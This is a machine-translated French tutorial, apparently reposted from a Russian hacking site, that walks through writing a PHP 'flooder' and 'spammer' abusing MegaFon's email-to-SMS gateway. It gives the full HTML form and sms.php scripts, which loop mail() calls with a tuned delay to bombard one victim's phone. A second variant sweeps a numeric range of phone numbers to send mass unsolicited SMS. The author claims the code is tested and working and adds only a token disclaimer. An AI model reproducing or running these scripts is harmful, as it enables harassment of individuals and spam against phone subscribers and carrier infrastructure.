This page has been robot translated, sorry for typos if any. Original content here.

Nous écrivons Sms flooder ou spammer (mail2sms)

mail2sms
Trouver des liens non fonctionnels ou des scripts non fonctionnels a décidé de lancer l'inondateur. La victime était le Russe MEGAFON , prenons-le comme exemple.

FLUD

D'abord, nous allons comprendre ce qu'est un flooder. À ma connaissance, un inondateur est un programme ou un script qui envoie des informations à un destinataire donné dans une certaine quantité (souvent - en très gros).

Alors, de quoi avons-nous besoin pour écrire un tel inondateur? Oui, presque rien:
  • hébergement, avec support PHP
  • cerveau + bras droits
  • la possibilité d'utiliser Google
Pour l'inondation, nous utiliserons la passerelle SMS de cet opérateur.
SMS gateway est une interface qui vous permet d'envoyer et de recevoir des messages SMS sans utiliser de téléphone mobile. Les messages SMS sont convertis en messages électroniques, demandes HTTP et retour. Un message envoyé via une telle passerelle peut être gratuit pour l'expéditeur; Cependant, des limitations techniques sont possibles, telles que la limitation du nombre de messages envoyés depuis un ordinateur par jour.

Comme vous pouvez le voir ci-dessus, les programmeurs avancés n'apprennent rien de nouveau pour eux-mêmes.
Donc, vous avez choisi l'hébergement, vous l'avez compris ...
Créez la page index.php du contenu suivant:
<?php
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head>' ;
echo
'<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Megafon flooder from Inlanger</title>
<style type="text/css">
body { font-weight: normal; font-family: Verdana; font-size: 10px; color: #26029B; background-color: #FDD7A2 }
a:link { text-decoration: none; color : #000000}
a:active { text-decoration: none; color : #000000 }
a:visited { text-decoration: none; color : #000000}
a:hover { text-decoration: none; font-size: 9px; color : #404040 }
div { margin: 1px 0px 1px 0px; padding: 5px 5px 5px 5px; font-weight: bold;}
.a {background-color: orange; text-align: center; font-size: 15px; color: #F0F902; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
.v {background-color: orange; text-align: center; font-size: 12px; color: #000000; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
</style></head><body bgcolor="#FDD7A2"><!--MADE BY INLANGER-->'
;
echo
"<div class=\"a\" align=\"center\">flooder/spamer from Inlanger</div>" ;
echo
"</div><div class=\"v\">
<form action=\"sms.php\" method=\"post\">
Номер:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Текст сообщения:<br />
<input name=\"msg\" /><br />
Количество:<br />
<input name=\"kol\" /><br />
Задержка в секундах:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Поехали...\">
</form>
<br/><br/>

<br/></div></body></html>"
;
?>
<?php
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head>' ;
echo
'<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Megafon flooder from Inlanger</title>
<style type="text/css">
body { font-weight: normal; font-family: Verdana; font-size: 10px; color: #26029B; background-color: #FDD7A2 }
a:link { text-decoration: none; color : #000000}
a:active { text-decoration: none; color : #000000 }
a:visited { text-decoration: none; color : #000000}
a:hover { text-decoration: none; font-size: 9px; color : #404040 }
div { margin: 1px 0px 1px 0px; padding: 5px 5px 5px 5px; font-weight: bold;}
.a {background-color: orange; text-align: center; font-size: 15px; color: #F0F902; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
.v {background-color: orange; text-align: center; font-size: 12px; color: #000000; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
</style></head><body bgcolor="#FDD7A2"><!--MADE BY INLANGER-->'
;
echo
"<div class=\"a\" align=\"center\">flooder/spamer from Inlanger</div>" ;
echo
"</div><div class=\"v\">
<form action=\"sms.php\" method=\"post\">
Номер:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Текст сообщения:<br />
<input name=\"msg\" /><br />
Количество:<br />
<input name=\"kol\" /><br />
Задержка в секундах:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Поехали...\">
</form>
<br/><br/>

<br/></div></body></html>"
;
?>
Comme vous pouvez le voir à partir du code, il s'agira d'une page avec un formulaire d'envoi faisant référence à notre script, qui s'appellera sms.php:
<?php
$from
= "любой почтовый@ящик" ;
$to = $_POST [ 'to' ]. '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = 0 ; $i < $kol ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}
print
"
<html>
<body>
<p align=\"center\">
Your $kol SMS:<br><b>
$msg
</b>
has been sent to $to
<br></p>
<div align=right>Inlanger</div>
</body>
</html> "
;
?>
<?php
$from
= "любой почтовый@ящик" ;
$to = $_POST [ 'to' ]. '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = 0 ; $i < $kol ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}
print
"
<html>
<body>
<p align=\"center\">
Your $kol SMS:<br><b>
$msg
</b>
has been sent to $to
<br></p>
<div align=right>Inlanger</div>
</body>
</html> "
;
?>
Nous commençons à analyser le code.
Au début du script, nous assignons des variables.
$ from - toute boîte aux lettres à partir de laquelle les messages seront envoyés.
$ to - le destinataire, c'est-à-dire celui que nous sommes en train de submerger. La valeur de la variable provient du format index.php et fusionne avec @ sms.mgsm.ru. Qu'est-ce que c'est @ sms.mgsm.ru? C'est l'opérateur de passerelle SMS Megafon.
$ msg est une variable qui contient le texte qui sera envoyé.
Ensuite, il y a un cycle dont la tâche est d'envoyer la quantité de message désirée avec une pause de sommeil.
La fonction de courrier est responsable du transfert de courrier vers la passerelle.

Maintenant à propos de la fonction de sommeil . Pourquoi est-ce nécessaire?
Si nous ne l'entrons pas, le serveur ne réagira pas à la quantité requise de SMS et les enverra au nombre de 1-2 pièces. C'est dans l'ordre pour le serveur de répondre et cette fonctionnalité est nécessaire. Entre parenthèses, le nombre de secondes de retard est écrit. Cette figure est sélectionnée par la méthode de dénombrement de diverses variantes. Sa valeur peut dépendre de la charge de la passerelle et de la vitesse de votre Internet. Alors expérimentez ici. Le script a été vérifié avec le paramètre 7 .

Nous vérifions le script. Nous allons à notre formulaire, entrez les données requises et cliquez sur le bouton ...
Maintenant, vous devez prendre en compte que le script n'est pas exécuté immédiatement , mais progressivement, en attendant la pause que vous avez définie après l'envoi de chaque message.

SPAM

Qu'est-ce qu'un spam? Je comprends le spam comme un envoi massif d'informations à différentes personnes à des fins différentes. Ce dont nous avons besoin pour organiser le spam
  • tout ce qui était répertorié pour l'inondateur
Nous devons modifier légèrement la forme de l'envoi. Je vais donner seulement un fragment:
  < form action = "sms.php\" method=\"post\">
Номер:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Текст сообщения:<br />
<input name=\"msg\" /><br />
Диапозон номеров:<br />
ОТ <input name=\"diapstart\" /> ДО <input name=\"diapfinish\" /><br />
Задержка в секундах:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Поехали...\">
</form>
Et un peu modifié sms.php :

<?php
$from
= "любой почтовый@ящик" ;
$to = $i . '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = $diapstart ; $i <= $diapfinish ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}

...
<?php
$from
= "любой почтовый@ящик" ;
$to = $i . '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = $diapstart ; $i <= $diapfinish ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}

...
Je pense que tout est clair. Nous nous déplaçons sur une plage donnée de nombres et leur envoyons des SMS à un intervalle spécifié. Cette méthode:
[+] fonctionne sans base de données. par personne économisant de l'argent et du trafic
[+] contrairement à la base - vous arrivez aussi au réseau des débutants, qui ne sont pas encore disponibles dans les bases de données (payantes et gratuites)
[-] Tous les SMS envoyés ne seront pas envoyés pour la raison qu'il pourrait ne pas y avoir de tels numéros. Mais vous pouvez choisir une telle gamme, de sorte qu'il y ait une probabilité maximale de livraison par SMS.

Que dire en conclusion ...
Ce matériel ne vous appelle pas à l'action et a un caractère factuel. L'auteur de l'article est moi, et en copiant le lien ici est nécessaire.
Avec un petit désir et la compétence due, le script est modifié dans un spammeur ou ajusté à tout autre opérateur, avec une passerelle de SMS de travail.Pour la recherche de passerelles, nous avions besoin de la possibilité de google. Pour les paresseux - une grande liste de passerelles . Mais ceci, peut-être, sera le prochain article.

PS Flooder a récemment été testé. Tout fonctionne bien. Si cela ne fonctionne pas, il y a plusieurs options. One - mains tordues. Deuxièmement - votre hébergement ne détient pas la fonction de courrier. Troisièmement - l'opérateur a changé la passerelle ou la passerelle est surchargée.